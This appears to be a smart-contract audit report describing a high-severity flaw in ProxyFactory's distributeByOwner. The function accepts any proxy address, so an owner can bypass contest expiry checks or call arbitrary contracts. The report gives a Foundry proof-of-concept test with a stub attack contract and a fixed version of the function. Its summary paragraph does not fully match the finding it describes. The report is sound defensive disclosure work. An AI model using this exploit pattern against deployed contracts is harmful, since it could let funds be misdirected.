Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Distribution By Owner can bypass Contest timestamp checks, call arbitrary contracts.

Effected Contract: ProxyFactory.sol

Summary

When a Contest Proxy is funded by two or more assets that are on the whitelist, the organizer is only able to distribute one of them. The other assets are stuck until after the Context expiration is reached, in which the Factory Owner can distribute other assets.

Vulnerability Details

Steps

  1. Owner setsContest for Contest 1

  2. Sponsors fund the Contest 1 Proxy

  3. Contest 1 ends

  4. Contest 1 Expires (owner can distribute)

  5. Owner can pass in any proxy address to distributeByOwner, but passes in Contest 1 id, organizer, and implementation address.

  6. Owner might accidentally or maliciously call an arbitrary contract address that is passed in. This could be another currently non-expired Contest that has been deployed or some other arbitrary functionality.

POC:

contract Attack {
fallback() external {
// Run malicious code
}
}
function testDistributeByOwnerCanBypassContestChecks() public {
// Contest 1 data
bytes32 randomId1 = keccak256(abi.encode("Jason", "001"));
bytes32 salt1 = keccak256(abi.encode(organizer, randomId1, address(distributor)));
address proxyAddress1 = proxyFactory.getProxyAddress(salt1, address(distributor));
// Contest 2 data
bytes32 randomId2 = keccak256(abi.encode("Jackson", "002"));
bytes32 salt2 = keccak256(abi.encode(organizer, randomId2, address(distributor)));
address proxyAddress2 = proxyFactory.getProxyAddress(salt2, address(distributor));
assertTrue(salt1 != salt2);
assertTrue(randomId1 != randomId2);
assertTrue(proxyAddress1 != proxyAddress2);
// Create contest1
vm.startPrank(factoryAdmin);
proxyFactory.setContest(organizer, randomId1, block.timestamp + 8 days, address(distributor));
vm.stopPrank();
// Fund contest with usdc and jpyc, both whitelisted tokens
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress1, 10000 ether);
MockERC20(jpycv2Address).transfer(proxyAddress2, 10000 ether);
vm.stopPrank();
vm.warp(16 days);
// The Factory owner can distribute the remaining funds for a contest that hasn't expired.
vm.startPrank(factoryAdmin);
// Create contest2
proxyFactory.setContest(organizer, randomId2, block.timestamp + 8 days, address(distributor));
// Because contest 2 hasn't ended, there should be NO way to call distribute on it.
// vm.expectRevert(ProxyFactory.ProxyFactory__ContestIsNotExpired.selector);
assertTrue((proxyFactory.saltToCloseTime(salt2) + proxyFactory.EXPIRATION_TIME()) > block.timestamp);
vm.expectCall(proxyAddress2, createDataToSendToAdmin(), 1);
proxyFactory.distributeByOwner(
proxyAddress2, organizer, randomId1, address(distributor), createDataToSendToAdmin()
);
// Owner could also accidentally pass in a malicious contract address
Attack attack = new Attack();
vm.expectCall(address(attack), createDataToSendToAdmin(), 1);
proxyFactory.distributeByOwner(
address(attack), organizer, randomId1, address(distributor), createDataToSendToAdmin()
);
vm.stopPrank();
}

Impact

A non-expired but deployed (owner accessible, when it shouldn't yet be) contest could be distributed by an Owner.

The owner could accidentally or maliciously call arbitrary contract code using this bug and if tricked could run a proxy contract that sends malicious calldata to the Distributor.

Tools Used

Manual Review

Recommendations

  1. Determine the correct proxy from contest data passed in, using the tested getProxyAddres function, similar to the other functions that call distribute in the contract.

// ProxyFactory.sol
function distributeByOwner(
address organizer,
bytes32 contestId,
address implementation,
bytes calldata data
) public onlyOwner {
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
if (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) revert ProxyFactory__ContestIsNotExpired();
address proxy = getProxyAddress(salt, implementation);
_distribute(proxy, data);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.